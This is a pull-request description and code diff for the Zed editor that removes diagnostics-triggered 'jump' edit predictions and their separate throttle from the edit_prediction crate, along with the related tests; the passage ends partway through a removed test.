## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/edit_prediction/src/edit_prediction.rs | 438 +-----------
 .../src/edit_prediction_tests.rs              | 644 +-----------------
 2 files changed, 54 insertions(+), 1028 deletions(-)

diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index 85c4f9279cf965..4e576580fc21e2 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -68,7 +68,7 @@ use std::sync::Arc;
 use std::time::{Duration, Instant};
 
 use thiserror::Error;
-use util::{RangeExt as _, ResultExt as _};
+use util::ResultExt as _;
 
 pub mod cursor_excerpt;
 pub mod data_collection;
@@ -140,10 +140,6 @@ pub struct EditPredictionJumpsFeatureFlag;
 impl FeatureFlag for EditPredictionJumpsFeatureFlag {
     const NAME: &'static str = "edit_prediction_jumps";
     type Value = PresenceFlag;
-
-    fn enabled_for_staff() -> bool {
-        false
-    }
 }
 register_feature_flag!(EditPredictionJumpsFeatureFlag);
 
@@ -367,7 +363,6 @@ struct ProjectState {
     pending_prediction_captures: Vec<PendingPredictionCapture>,
     debug_tx: Option<mpsc::UnboundedSender<DebugEvent>>,
     last_edit_prediction_refresh: Option<(EntityId, Instant)>,
-    last_jump_prediction_refresh: Option<(EntityId, Instant)>,
     cancelled_predictions: HashSet<usize>,
     context: Entity<RelatedExcerptStore>,
     license_detection_watchers: HashMap<WorktreeId, Rc<LicenseDetectionWatcher>>,
@@ -502,7 +497,7 @@ impl ProjectState {
 
 #[derive(Debug, Clone)]
 struct CurrentEditPrediction {
-    pub requested_by: PredictionRequestedBy,
+    pub requested_by: EntityId,
     pub prediction: EditPrediction,
     pub was_shown: bool,
     pub shown_with: Option<edit_prediction_types::SuggestionDisplayType>,
@@ -529,13 +524,11 @@ impl CurrentEditPrediction {
             return true;
         };
 
-        let requested_by_buffer_id = self.requested_by.buffer_id();
-
         // This reduces the occurrence of UI thrash from replacing edits
         //
         // TODO: This is fairly arbitrary - should have a more general heuristic that handles multiple edits.
-        if requested_by_buffer_id == Some(self.prediction.buffer.entity_id())
-            && requested_by_buffer_id == Some(old_prediction.prediction.buffer.entity_id())
+        if self.requested_by == self.prediction.buffer.entity_id()
+            && self.requested_by == old_prediction.prediction.buffer.entity_id()
             && old_edits.len() == 1
             && new_edits.len() == 1
         {
@@ -548,29 +541,8 @@ impl CurrentEditPrediction {
     }
 }
 
-#[derive(Debug, Clone)]
-enum PredictionRequestedBy {
-    DiagnosticsUpdate,
-    Buffer(EntityId),
-}
-
-impl PredictionRequestedBy {
-    pub fn buffer_id(&self) -> Option<EntityId> {
-        match self {
-            PredictionRequestedBy::DiagnosticsUpdate => None,
-            PredictionRequestedBy::Buffer(buffer_id) => Some(*buffer_id),
-        }
-    }
-}
-
 const DIAGNOSTIC_LINES_RANGE: u32 = 20;
 
-#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
-pub enum DiagnosticSearchScope {
-    Local,
-    Global,
-}
-
 #[derive(Debug)]
 struct PendingPrediction {
     id: usize,
@@ -1441,7 +1413,6 @@ impl EditPredictionStore {
                 pending_prediction_captures: Vec::new(),
                 next_pending_prediction_id: 0,
                 last_edit_prediction_refresh: None,
-                last_jump_prediction_refresh: None,
                 license_detection_watchers: HashMap::default(),
                 _subscriptions: [
                     cx.subscribe(&project, Self::handle_project_event),
@@ -1585,24 +1556,6 @@ impl EditPredictionStore {
                     push_recent_file(&mut project_state.recently_viewed_files, recent_file);
                 }
             }
-            project::Event::DiagnosticsUpdated { .. } => {
-                if self
-                    .projects
-                    .get(&project.entity_id())
-                    .and_then(|project_state| project_state.last_edit_source)
-                    == Some(BufferEditSource::Agent)
-                {
-                    return;
-                }
-
-                if cx.has_flag::<EditPredictionJumpsFeatureFlag>() {
-                    self.refresh_prediction_from_diagnostics(
-                        project,
-                        DiagnosticSearchScope::Global,
-                        cx,
-                    );
-                }
-            }
             _ => (),
         }
     }
@@ -1854,19 +1807,10 @@ impl EditPredictionStore {
 
         if prediction.targets_buffer(buffer.read(cx)) {
             Some(BufferEditPrediction::Local { prediction })
+        } else if requested_by == &buffer.entity_id() {
+            Some(BufferEditPrediction::Jump { prediction })
         } else {
-            let show_jump = match requested_by {
-                PredictionRequestedBy::Buffer(requested_by_buffer_id) => {
-                    requested_by_buffer_id == &buffer.entity_id()
-                }
-                PredictionRequestedBy::DiagnosticsUpdate => true,
-            };
-
-            if show_jump {
-                Some(BufferEditPrediction::Jump { prediction })
-            } else {
-                None
-            }
+            None
         }
     }
 
@@ -2439,192 +2383,35 @@ impl EditPredictionStore {
         trigger: EditPredictionRequestTrigger,
         cx: &mut Context<Self>,
     ) {
-        let trigger = predict_edits_request_trigger_from_editor_trigger(trigger);
-
-        self.queue_prediction_refresh(
-            project.clone(),
-            trigger,
-            buffer.entity_id(),
-            cx,
-            move |this, cx| {
-                let Some(request_task) = this
-                    .update(cx, |this, cx| {
-                        this.request_prediction_internal(
-                            project.clone(),
-                            buffer.clone(),
-                            position,
-                            trigger,
-                            cx.has_flag::<EditPredictionJumpsFeatureFlag>(),
-                            cx,
-                        )
-                    })
-                    .log_err()
-                else {
-                    return Task::ready(anyhow::Ok(None));
-                };
-
-                cx.spawn(async move |_cx| {
-                    request_task.await.map(|prediction_result| {
-                        prediction_result.map(|prediction_result| {
-                            (
-                                prediction_result,
-                                PredictionRequestedBy::Buffer(buffer.entity_id()),
-                            )
-                        })
-                    })
-                })
-            },
-        )
-    }
-
-    pub fn refresh_prediction_from_diagnostics(
-        &mut self,
-        project: Entity<Project>,
-        scope: DiagnosticSearchScope,
-        cx: &mut Context<Self>,
-    ) {
-        if !is_ep_store_provider(all_language_settings(None, cx).edit_predictions.provider) {
-            return;
-        }
-
         if currently_following(&project, cx) {
             return;
         }
 
-        let Some(project_state) = self.projects.get_mut(&project.entity_id()) else {
-            return;
-        };
-
-        // Prefer predictions from buffer
-        if project_state.current_prediction.is_some() {
-            log::debug!(
-                "edit_prediction: diagnostic refresh skipped, current prediction already exists"
-            );
-            return;
-        }
-
-        self.queue_prediction_refresh(
-            project.clone(),
-            PredictEditsRequestTrigger::Diagnostics,
-            project.entity_id(),
-            cx,
-            move |this, cx| {
-                let Some((active_buffer, snapshot, cursor_point)) = this
-                    .read_with(cx, |this, cx| {
-                        let project_state = this.projects.get(&project.entity_id())?;
-                        let (buffer, position) = project_state.active_buffer(&project, cx)?;
-                        let snapshot = buffer.read(cx).snapshot();
-
-                        if !Self::predictions_enabled_at(&snapshot, position, cx) {
-                            return None;
-                        }
-
-                        let cursor_point = position
-                            .map(|pos| pos.to_point(&snapshot))
-                            .unwrap_or_default();
-
-                        Some((buffer, snapshot, cursor_point))
-                    })
-                    .log_err()
-                    .flatten()
-                else {
-                    return Task::ready(anyhow::Ok(None));
-                };
-
-                cx.spawn(async move |cx| {
-                    let diagnostic_search_range = match scope {
-                        DiagnosticSearchScope::Local => {
-                            let diagnostic_search_start =
-                                cursor_point.row.saturating_sub(DIAGNOSTIC_LINES_RANGE);
-                            let diagnostic_search_end = cursor_point.row + DIAGNOSTIC_LINES_RANGE;
-                            Point::new(diagnostic_search_start, 0)
-                                ..Point::new(diagnostic_search_end, 0)
-                        }
-                        DiagnosticSearchScope::Global => Default::default(),
-                    };
+        let trigger = predict_edits_request_trigger_from_editor_trigger(trigger);
 
-                    let Some((jump_buffer, jump_position)) = Self::next_diagnostic_location(
-                        active_buffer,
-                        &snapshot,
-                        diagnostic_search_range,
-                        cursor_point,
-                        &project,
+        self.queue_prediction_refresh(project.clone(), buffer.entity_id(), cx, move |this, cx| {
+            let Some(request_task) = this
+                .update(cx, |this, cx| {
+                    this.request_prediction_internal(
+                        project.clone(),
+                        buffer.clone(),
+                        position,
+                        trigger,
                         cx,
                     )
-                    .await?
-                    else {
-                        return anyhow::Ok(None);
-                    };
-
-                    let Some(prediction_result) = this
-                        .update(cx, |this, cx| {
-                            this.request_prediction_internal(
-                                project.clone(),
-                                jump_buffer.clone(),
-                                jump_position,
-                                PredictEditsRequestTrigger::Diagnostics,
-                                cx.has_flag::<EditPredictionJumpsFeatureFlag>(),
-                                cx,
-                            )
-                        })?
-                        .await?
-                    else {
-                        return anyhow::Ok(None);
-                    };
-
-                    this.update(cx, |this, cx| {
-                        Some((
-                            if this
-                                .get_or_init_project(&project, cx)
-                                .current_prediction
-                                .is_none()
-                            {
-                                prediction_result
-                            } else {
-                                EditPredictionResult {
-                                    reject_reason: Some(
-                                        EditPredictionRejectReason::CurrentPreferred,
-                                    ),
-                                    ..prediction_result
-                                }
-                            },
-                            PredictionRequestedBy::DiagnosticsUpdate,
-                        ))
-                    })
                 })
-            },
-        );
-    }
-
-    fn predictions_enabled_at(
-        snapshot: &BufferSnapshot,
-        position: Option<language::Anchor>,
-        cx: &App,
-    ) -> bool {
-        let file = snapshot.file();
-        let all_settings = all_language_settings(file, cx);
-        if !all_settings.show_edit_predictions(snapshot.language(), cx)
-            || file.is_some_and(|file| !all_settings.edit_predictions_enabled_for_file(file, cx))
-        {
-            return false;
-        }
-
-        if let Some(last_position) = position {
-            let settings = snapshot.settings_at(last_position, cx);
-
-            if !settings.edit_predictions_disabled_in.is_empty()
-                && let Some(scope) = snapshot.language_scope_at(last_position)
-                && let Some(scope_name) = scope.override_name()
-                && settings
-                    .edit_predictions_disabled_in
-                    .iter()
-                    .any(|s| s == scope_name)
-            {
-                return false;
-            }
-        }
+                .log_err()
+            else {
+                return Task::ready(anyhow::Ok(None));
+            };
 
-        true
+            cx.spawn(async move |_cx| {
+                request_task.await.map(|prediction_result| {
+                    prediction_result
+                        .map(|prediction_result| (prediction_result, buffer.entity_id()))
+                })
+            })
+        })
     }
 
     pub const THROTTLE_TIMEOUT: Duration = Duration::from_millis(300);
@@ -2665,29 +2452,14 @@ impl EditPredictionStore {
     fn queue_prediction_refresh(
         &mut self,
         project: Entity<Project>,
-        request_trigger: PredictEditsRequestTrigger,
         throttle_entity: EntityId,
         cx: &mut Context<Self>,
         do_refresh: impl FnOnce(
             WeakEntity<Self>,
             &mut AsyncApp,
-        )
-            -> Task<Result<Option<(EditPredictionResult, PredictionRequestedBy)>>>
+        ) -> Task<Result<Option<(EditPredictionResult, EntityId)>>>
         + 'static,
     ) {
-        fn select_throttle(
-            project_state: &mut ProjectState,
-            request_trigger: PredictEditsRequestTrigger,
-        ) -> &mut Option<(EntityId, Instant)> {
-            match request_trigger {
-                PredictEditsRequestTrigger::Diagnostics
-                | PredictEditsRequestTrigger::DiagnosticNavigation => {
-                    &mut project_state.last_jump_prediction_refresh
-                }
-                _ => &mut project_state.last_edit_prediction_refresh,
-            }
-        }
-
         let (needs_acceptance_tracking, max_pending_predictions) =
             match all_language_settings(None, cx).edit_predictions.provider {
                 EditPredictionProvider::Zed | EditPredictionProvider::Mercury => (true, 2),
@@ -2706,13 +2478,13 @@ impl EditPredictionStore {
         let project_state = self.get_or_init_project(&project, cx);
         let pending_prediction_id = project_state.next_pending_prediction_id;
         project_state.next_pending_prediction_id += 1;
-        let throttle_at_enqueue = *select_throttle(project_state, request_trigger);
+        let throttle_at_enqueue = project_state.last_edit_prediction_refresh;
 
         let task = cx.spawn(async move |this, cx| {
             let throttle_wait = this
                 .update(cx, |this, cx| {
                     let project_state = this.get_or_init_project(&project, cx);
-                    let throttle = *select_throttle(project_state, request_trigger);
+                    let throttle = project_state.last_edit_prediction_refresh;
 
                     let now = cx.background_executor().now();
                     throttle.and_then(|(last_entity, last_timestamp)| {
@@ -2743,12 +2515,12 @@ impl EditPredictionStore {
                 }
 
                 // Another request has been already sent since this was enqueued
-                if *select_throttle(project_state, request_trigger) != throttle_at_enqueue {
+                if project_state.last_edit_prediction_refresh != throttle_at_enqueue {
                     return;
                 }
 
                 let new_refresh = (throttle_entity, cx.background_executor().now());
-                *select_throttle(project_state, request_trigger) = Some(new_refresh);
+                project_state.last_edit_prediction_refresh = Some(new_refresh);
                 is_cancelled = false;
             })
             .ok();
@@ -2908,7 +2680,6 @@ impl EditPredictionStore {
             active_buffer.clone(),
             position,
             trigger,
-            cx.has_flag::<EditPredictionJumpsFeatureFlag>(),
             cx,
         )
     }
@@ -2919,7 +2690,6 @@ impl EditPredictionStore {
         active_buffer: Entity<Buffer>,
         position: language::Anchor,
         trigger: PredictEditsRequestTrigger,
-        allow_jump: bool,
         cx: &mut Context<Self>,
     ) -> Task<Result<Option<EditPredictionResult>>> {
         let is_cloud_zeta = matches!(self.edit_prediction_model, EditPredictionModel::Zeta)
@@ -2953,7 +2723,6 @@ impl EditPredictionStore {
                 .as_ref()
                 .map(|last_event| last_event.new_snapshot.clone()),
         });
-        let has_events = !stored_events.is_empty();
         let events: Vec<Arc<zeta_prompt::Event>> =
             stored_events.iter().map(|e| e.event.clone()).collect();
         let debug_tx = project_state.debug_tx.clone();
@@ -3053,148 +2822,7 @@ impl EditPredictionStore {
             }
         };
 
-        cx.spawn(async move |this, cx| {
-            let prediction = task.await?;
-
-            // Only fall back to diagnostics-based prediction if we got a
-            // the model had nothing to suggest for the buffer
-            if prediction.is_none()
-                && allow_jump
-                && has_events
-                && !matches!(
-                    trigger,
-                    PredictEditsRequestTrigger::Diagnostics
-                        | PredictEditsRequestTrigger::DiagnosticNavigation
-                )
-            {
-                this.update(cx, |this, cx| {
-                    this.refresh_prediction_from_diagnostics(
-                        project,
-                        DiagnosticSearchScope::Local,
-                        cx,
-                    );
-                })?;
-                return anyhow::Ok(None);
-            }
-
-            Ok(prediction)
-        })
-    }
-
-    pub(crate) async fn next_diagnostic_location(
-        active_buffer: Entity<Buffer>,
-        active_buffer_snapshot: &BufferSnapshot,
-        active_buffer_diagnostic_search_range: Range<Point>,
-        active_buffer_cursor_point: Point,
-        project: &Entity<Project>,
-        cx: &mut AsyncApp,
-    ) -> Result<Option<(Entity<Buffer>, language::Anchor)>> {
-        let collaborator_cursor_rows: Vec<u32> = active_buffer_snapshot
-            .selections_in_range(
-                Anchor::min_max_range_for_buffer(active_buffer_snapshot.remote_id()),
-                false,
-            )
-            .flat_map(|(_, _, _, selections)| {
-                selections.map(|s| s.head().to_point(active_buffer_snapshot).row)
-            })
-            .collect();
-
-        let mut jump_location = active_buffer_snapshot
-            .diagnostic_groups(None)
-            .into_iter()
-            .filter_map(|(_, group)| {
-                let range = &group.entries[group.primary_ix]
-                    .range
-                    .to_point(&active_buffer_snapshot);
-                if range.overlaps(&active_buffer_diagnostic_search_range) {
-                    return None;
-                }
-                let near_collaborator = collaborator_cursor_rows.iter().any(|&collab_row| {
-                    range.start.row.abs_diff(collab_row) <= DIAGNOSTIC_LINES_RANGE
-                });
-                let near_local = active_buffer_cursor_point.row.abs_diff(range.start.row)
-                    <= DIAGNOSTIC_LINES_RANGE;
-                if near_collaborator && !near_local {
-                    return None;
-                }
-                Some(range.start)
-            })
-            .min_by_key(|probe| probe.row.abs_diff(active_buffer_cursor_point.row))
-            .map(|position| {
-                (
-                    active_buffer.clone(),
-                    active_buffer_snapshot.anchor_before(position),
-                )
-            });
-
-        if jump_location.is_none() {
-            let active_buffer_path = active_buffer.read_with(cx, |buffer, cx| {
-                let file = buffer.file()?;
-
-                Some(ProjectPath {
-                    worktree_id: file.worktree_id(cx),
-                    path: file.path().clone(),
-                })
-            });
-
-            let mut candidates: Vec<(ProjectPath, usize)> = project.read_with(cx, |project, cx| {
-                project
-                    .diagnostic_summaries(false, cx)
-                    .filter(|(path, _, _)| Some(path) != active_buffer_path.as_ref())
-                    .map(|(path, _, _)| {
-                        let shared_prefix = path
-                            .path
-                            .components()
-                            .zip(
-                                active_buffer_path
-                                    .as_ref()
-                                    .map(|p| p.path.components())
-                                    .unwrap_or_default(),
-                            )
-                            .take_while(|(a, b)| a == b)
-                            .count();
-                        (path, shared_prefix)
-                    })
-                    .collect()
-            });
-
-            candidates.sort_by_key(|c| std::cmp::Reverse(c.1));
-
-            for (path, _) in candidates {
-                let candidate_buffer = project
-                    .update(cx, |project, cx| project.open_buffer(path, cx))
-                    .await?;
-
-                let (has_collaborators, diagnostic_position) =
-                    candidate_buffer.read_with(cx, |buffer, _cx| {
-                        let snapshot = buffer.snapshot();
-                        let has_collaborators = snapshot
-                            .selections_in_range(
-                                Anchor::min_max_range_for_buffer(snapshot.remote_id()),
-                                false,
-                            )
-                            .next()
-                            .is_some();
-                        let position = buffer
-                            .buffer_diagnostics(None)
-                            .into_iter()
-                            .min_by_key(|entry| entry.diagnostic.severity)
-                            .map(|entry| entry.range.start);
-                        (has_collaborators, position)
-                    });
-
-                if has_collaborators {
-                    continue;
-                }
-
-                if let Some(position) = diagnostic_position {
-                    jump_location = Some((candidate_buffer, position));
-                    break;
-                }
-            }
-        }
-
-        anyhow::Ok(jump_location)
+        task
     }
 
     async fn send_raw_llm_request(
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 1ef96d84af50bc..bf9ed2c2052547 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -24,8 +24,8 @@ use gpui::{
 };
 use indoc::indoc;
 use language::{
-    Anchor, Buffer, BufferEditSource, Capability, CursorShape, Diagnostic, DiagnosticEntry,
-    DiagnosticSet, DiagnosticSeverity, Operation, Point, Selection, SelectionGoal,
+    Anchor, Buffer, Capability, Diagnostic, DiagnosticEntry, DiagnosticSet, DiagnosticSeverity,
+    Point,
 };
 use lsp::LanguageServerId;
 use parking_lot::Mutex;
@@ -46,15 +46,13 @@ use zeta_prompt::ZetaPromptInput;
 use crate::udiff::apply_diff_to_string;
 use crate::{
     BufferEditPrediction, EDIT_PREDICTION_SETTLED_QUIESCENCE, EditPredictionId,
-    EditPredictionJumpsFeatureFlag, EditPredictionStore, REJECT_REQUEST_DEBOUNCE,
-    REQUEST_TIMEOUT_BACKOFF,
+    EditPredictionStore, REJECT_REQUEST_DEBOUNCE, REQUEST_TIMEOUT_BACKOFF,
 };
 
 use super::*;
 
 #[gpui::test]
 async fn test_current_state(cx: &mut TestAppContext) {
-    enable_edit_prediction_jumps(cx);
     let (ep_store, mut requests) = init_test_with_fake_client(cx);
     let fs = FakeFs::new(cx.executor());
     fs.insert_tree(
@@ -123,89 +121,16 @@ async fn test_current_state(cx: &mut TestAppContext) {
     ep_store.update(cx, |ep_store, cx| {
         ep_store.reject_current_prediction(EditPredictionRejectReason::Discarded, &project, cx);
     });
-
-    // Prediction for diagnostic in another file
-
-    let diagnostic = lsp::Diagnostic {
-        range: lsp::Range::new(lsp::Position::new(1, 1), lsp::Position::new(1, 5)),
-        severity: Some(lsp::DiagnosticSeverity::ERROR),
-        message: "Sentence is incomplete".to_string(),
-        ..Default::default()
-    };
-
-    project.update(cx, |project, cx| {
-        project.lsp_store().update(cx, |lsp_store, cx| {
-            lsp_store
-                .update_diagnostics(
-                    LanguageServerId(0),
-                    lsp::PublishDiagnosticsParams {
-                        uri: lsp::Uri::from_file_path(path!("/root/2.txt")).unwrap(),
-                        diagnostics: vec![diagnostic],
-                        version: None,
-                    },
-                    None,
-                    language::DiagnosticSourceKind::Pushed,
-                    &[],
-                    cx,
-                )
-                .unwrap();
-        });
-    });
-
-    let (request, respond_tx) = requests.predict.next().await.unwrap();
-    respond_tx
-        .send(model_response(
-            &request,
-            indoc! {r#"
-                --- a/root/2.txt
-                +++ b/root/2.txt
-                @@ ... @@
-                 Hola!
-                -Como
-                +Como estas?
-                 Adios
-            "#},
-        ))
-        .unwrap();
-    cx.run_until_parked();
-
-    ep_store.update(cx, |ep_store, cx| {
-        let prediction = ep_store
-            .prediction_at(&buffer1, None, &project, cx)
-            .unwrap();
-        assert_matches!(
-            prediction,
-            BufferEditPrediction::Jump { prediction } if prediction.snapshot.file().unwrap().full_path(cx) == Path::new(path!("root/2.txt"))
-        );
-    });
-
-    let buffer2 = project
-        .update(cx, |project, cx| {
-            let path = project.find_project_path(path!("root/2.txt"), cx).unwrap();
-            project.open_buffer(path, cx)
-        })
-        .await
-        .unwrap();
-
-    ep_store.update(cx, |ep_store, cx| {
-        let prediction = ep_store
-            .prediction_at(&buffer2, None, &project, cx)
-            .unwrap();
-        assert_matches!(prediction, BufferEditPrediction::Local { .. });
-    });
 }
 
 #[gpui::test]
-async fn test_diagnostics_refresh_suppressed_while_following(cx: &mut TestAppContext) {
-    enable_edit_prediction_jumps(cx);
+async fn test_refresh_prediction_from_buffer_suppressed_while_following(cx: &mut TestAppContext) {
     let (ep_store, mut requests) = init_test_with_fake_client(cx);
-
     let fs = FakeFs::new(cx.executor());
     fs.insert_tree(
         "/root",
         json!({
-            "1.txt": "Hello!\nHow\nBye\n",
-            "2.txt": "Hola!\nComo\nAdios\n"
+            "foo.md":  "Hello!\nHow\nBye\n"
         }),
     )
     .await;
@@ -216,7 +141,6 @@ async fn test_diagnostics_refresh_suppressed_while_following(cx: &mut TestAppCon
         AppState::set_global(app_state.clone(), cx);
         app_state
     });
-
     let multi_workspace =
         cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
     let workspace = multi_workspace
@@ -225,198 +149,41 @@ async fn test_diagnostics_refresh_suppressed_while_following(cx: &mut TestAppCon
     cx.update(|cx| {
         AppState::set_global(workspace.read(cx).app_state().clone(), cx);
     });
-    let _ = app_state;
+    drop(app_state);
 
-    let buffer1 = project
+    let buffer = project
         .update(cx, |project, cx| {
-            let path = project.find_project_path(path!("root/1.txt"), cx).unwrap();
-            project.set_active_path(Some(path.clone()), cx);
+            let path = project.find_project_path(path!("root/foo.md"), cx).unwrap();
             project.open_buffer(path, cx)
         })
         .await
         .unwrap();
-    let snapshot1 = buffer1.read_with(cx, |buffer, _cx| buffer.snapshot());
-    let position = snapshot1.anchor_before(language::Point::new(1, 3));
+    let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
+    let position = snapshot.anchor_before(language::Point::new(1, 3));
+
+    multi_workspace
+        .update(cx, |multi_workspace, window, cx| {
+            multi_workspace.workspace().update(cx, |workspace, cx| {
+                workspace.start_following(CollaboratorId::Agent, window, cx);
+            });
+        })
+        .unwrap();
+    cx.run_until_parked();
 
     ep_store.update(cx, |ep_store, cx| {
         ep_store.register_project(&project, cx);
-        ep_store.register_buffer(&buffer1, &project, cx);
+        ep_store.register_buffer(&buffer, &project, cx);
         ep_store.refresh_prediction_from_buffer(
             project.clone(),
-            buffer1.clone(),
+            buffer.clone(),
             position,
             EditPredictionRequestTrigger::Other,
             cx,
         );
     });
-
-    let (request, respond_tx) = requests.predict.next().await.unwrap();
-    respond_tx
-        .send(model_response(
-            &request,
-            indoc! {r"
-                --- a/root/1.txt
-                +++ b/root/1.txt
-                @@ ... @@
-                 Hello!
-                -How
-                +How are you?
-                 Bye
-            "},
-        ))
-        .unwrap();
-    cx.run_until_parked();
-
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.reject_current_prediction(EditPredictionRejectReason::Discarded, &project, cx);
-    });
-
-    let _ = multi_workspace.update(cx, |multi_workspace, window, cx| {
-        multi_workspace.workspace().update(cx, |workspace, cx| {
-            workspace.start_following(CollaboratorId::Agent, window, cx);
-        });
-    });
-    cx.run_until_parked();
-
-    let diagnostic = lsp::Diagnostic {
-        range: lsp::Range::new(lsp::Position::new(1, 1), lsp::Position::new(1, 5)),
-        severity: Some(lsp::DiagnosticSeverity::ERROR),
-        message: "Sentence is incomplete".to_string(),
-        ..Default::default()
-    };
-
-    project.update(cx, |project, cx| {
-        project.lsp_store().update(cx, |lsp_store, cx| {
-            lsp_store
-                .update_diagnostics(
-                    LanguageServerId(0),
-                    lsp::PublishDiagnosticsParams {
-                        uri: lsp::Uri::from_file_path(path!("/root/2.txt")).unwrap(),
-                        diagnostics: vec![diagnostic.clone()],
-                        version: None,
-                    },
-                    None,
-                    language::DiagnosticSourceKind::Pushed,
-                    &[],
-                    cx,
-                )
-                .unwrap();
-        });
-    });
-
-    cx.run_until_parked();
-    assert_no_predict_request_ready(&mut requests.predict);
-
-    let _ = multi_workspace.update(cx, |multi_workspace, window, cx| {
-        multi_workspace.workspace().update(cx, |workspace, cx| {
-            workspace.unfollow(CollaboratorId::Agent, window, cx);
-        });
-    });
-    cx.run_until_parked();
-
-    project.update(cx, |project, cx| {
-        project.lsp_store().update(cx, |lsp_store, cx| {
-            lsp_store
-                .update_diagnostics(
-                    LanguageServerId(0),
-                    lsp::PublishDiagnosticsParams {
-                        uri: lsp::Uri::from_file_path(path!("/root/2.txt")).unwrap(),
-                        diagnostics: vec![diagnostic],
-                        version: None,
-                    },
-                    None,
-                    language::DiagnosticSourceKind::Pushed,
-                    &[],
-                    cx,
-                )
-                .unwrap();
-        });
-    });
-
-    let (request, respond_tx) = requests.predict.next().await.unwrap();
-    respond_tx
-        .send(model_response(
-            &request,
-            indoc! {r#"
-                --- a/root/2.txt
-                +++ b/root/2.txt
-                @@ ... @@
-                 Hola!
-                -Como
-                +Como estas?
-                 Adios
-            "#},
-        ))
-        .unwrap();
-    cx.run_until_parked();
-
-    ep_store.update(cx, |ep_store, cx| {
-        let prediction = ep_store
-            .prediction_at(&buffer1, None, &project, cx)
-            .unwrap();
-        assert_matches!(
-            prediction,
-            BufferEditPrediction::Jump { prediction } if prediction.snapshot.file().unwrap().full_path(cx) == Path::new(path!("root/2.txt"))
-        );
-    });
-}
-
-#[gpui::test]
-async fn test_diagnostics_refresh_suppressed_after_agent_edit(cx: &mut TestAppContext) {
-    enable_edit_prediction_jumps(cx);
-    let (ep_store, mut requests) = init_test_with_fake_client(cx);
-
-    let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        "/root",
-        json!({
-            "1.txt": "Hello!\nHow\nBye\n",
-            "2.txt": "Hola!\nComo\nAdios\n"
-        }),
-    )
-    .await;
-    let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
-
-    let buffer = project
-        .update(cx, |project, cx| {
-            let path = project.find_project_path(path!("root/1.txt"), cx).unwrap();
-            project.set_active_path(Some(path.clone()), cx);
-            project.open_buffer(path, cx)
-        })
-        .await
-        .unwrap();
-
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.register_project(&project, cx);
-        ep_store.register_buffer(&buffer, &project, cx);
-    });
-
-    buffer.update(cx, |buffer, cx| {
-        buffer.start_transaction();
-        buffer.edit([(Point::new(1, 3)..Point::new(1, 3), "!")], None, cx);
-        buffer.end_transaction_with_source(BufferEditSource::Agent, cx);
-    });
     cx.run_until_parked();
 
-    update_test_diagnostics(&project, path!("/root/2.txt"), "Sentence is incomplete", cx);
-    cx.run_until_parked();
     assert_no_predict_request_ready(&mut requests.predict);
-
-    buffer.update(cx, |buffer, cx| {
-        buffer.edit([(Point::new(1, 4)..Point::new(1, 4), "?")], None, cx);
-    });
-    cx.run_until_parked();
-
-    update_test_diagnostics(
-        &project,
-        path!("/root/2.txt"),
-        "Sentence is still incomplete",
-        cx,
-    );
-
-    let (_request, respond_tx) = requests.predict.next().await.unwrap();
-    respond_tx.send(empty_response()).unwrap();
-    cx.run_until_parked();
 }
 
 #[gpui::test]
@@ -2066,120 +1833,6 @@ async fn test_cancel_second_on_third_request(cx: &mut TestAppContext) {
     );
 }
 
-#[gpui::test]
-async fn test_jump_and_edit_throttles_are_independent(cx: &mut TestAppContext) {
-    enable_edit_prediction_jumps(cx);
-    let (ep_store, mut requests) = init_test_with_fake_client(cx);
-
-    let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        "/root",
-        json!({
-            "foo.md":  "Hello!\nHow\nBye\n",
-            "bar.md": "Hola!\nComo\nAdios\n"
-        }),
-    )
-    .await;
-    let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
-
-    let buffer = project
-        .update(cx, |project, cx| {
-            let path = project.find_project_path(path!("root/foo.md"), cx).unwrap();
-            project.set_active_path(Some(path.clone()), cx);
-            project.open_buffer(path, cx)
-        })
-        .await
-        .unwrap();
-    let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
-    let position = snapshot.anchor_before(language::Point::new(1, 3));
-
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.register_project(&project, cx);
-        ep_store.register_buffer(&buffer, &project, cx);
-    });
-
-    // First edit request - no prior edit, so not throttled.
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.refresh_prediction_from_buffer(
-            project.clone(),
-            buffer.clone(),
-            position,
-            EditPredictionRequestTrigger::Other,
-            cx,
-        );
-    });
-    let (_edit_request, edit_response_tx) = requests.predict.next().await.unwrap();
-    edit_response_tx.send(empty_response()).unwrap();
-    cx.run_until_parked();
-
-    let diagnostic = lsp::Diagnostic {
-        range: lsp::Range::new(lsp::Position::new(1, 1), lsp::Position::new(1, 5)),
-        severity: Some(lsp::DiagnosticSeverity::ERROR),
-        message: "Sentence is incomplete".to_string(),
-        ..Default::default()
-    };
-
-    // First jump request triggered by diagnostic event on buffer - no prior jump, so not throttled (independent from edit).
-    project.update(cx, |project, cx| {
-        project.lsp_store().update(cx, |lsp_store, cx| {
-            lsp_store
-                .update_diagnostics(
-                    LanguageServerId(0),
-                    lsp::PublishDiagnosticsParams {
-                        uri: lsp::Uri::from_file_path(path!("/root/bar.md")).unwrap(),
-                        diagnostics: vec![diagnostic],
-                        version: None,
-                    },
-                    None,
-                    language::DiagnosticSourceKind::Pushed,
-                    &[],
